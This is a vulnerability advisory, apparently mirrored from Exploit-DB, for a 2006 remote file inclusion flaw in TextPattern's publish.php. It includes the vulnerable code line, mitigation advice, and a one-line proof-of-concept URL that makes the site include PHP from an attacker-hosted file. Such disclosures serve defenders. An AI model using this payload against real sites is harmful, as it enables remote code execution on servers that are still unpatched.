TextPattern - exploit.company

vendor:

TextPattern

by:

Zeni Susanto A.K.A Bithedz

CVSS

CRITICAL

Remote File Inclusion

CWE

Product Name: TextPattern

Affected Version From: <=g1.19

Affected Version To: <=g1.19

Patch Exists: NO

Related CWE: N/A

CPE: textpattern:textpattern

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

TextPattern <=g1.19 (txpcfg[txpath]) Remote File Inclusion Vulnerability

Input passed to the 'txpcfg['txpath']' parameter in publish.php is not properly verified before being used. This can be exploited to execute arbitrary PHP code by including files from local or external resources.

Mitigation:

Sanitize variable $txpcfg['txpath'] on affected files. Turn off register_globals

Source

Exploit-DB raw data:

----------------------------------------------------------------------------
TextPattern <=g1.19 (txpcfg[txpath]) Remote File Inclusion Vulnerability
----------------------------------------------------------------------------

Author		: Zeni Susanto A.K.A Bithedz
Date Found	: October, 25th 2006
Location	: Indonesia,Bandung
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: TextPattern
version		: <=g1.19
URL		: http://textpattern.com/deanload/textpattern_g119.zip

textpattern is A free, flexible, elegant, easy-to-use content management system for all kinds of websites, even weblogs.


---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~

In file publish.php I found vulnerability script
--------------------------publish.php---------------------------------------
define("txpath",$txpcfg['txpath']); 
----------------------------------------------------------------------------

Input passed to the "txpcfg['txpath']" parameter in publish.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.


Proof Of Concept:
~~~~~~~~~~~~
http://yourtargetsite/[textpattern_g119_path]/textpattern/publish.php?txpcfg[txpath]=http://attact/colok.txt?
Solution:
~~~~
- Sanitize variable $txpcfg['txpath'] on affected files.
- Turn off register_globals

---------------------------------------------------------------------------

Shoutz:
~
~ K-159
~ Monik My Brain
~ #bridge (silent) @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~
bithedz[at]gmail[dot]com

# milw0rm.com [2006-10-25]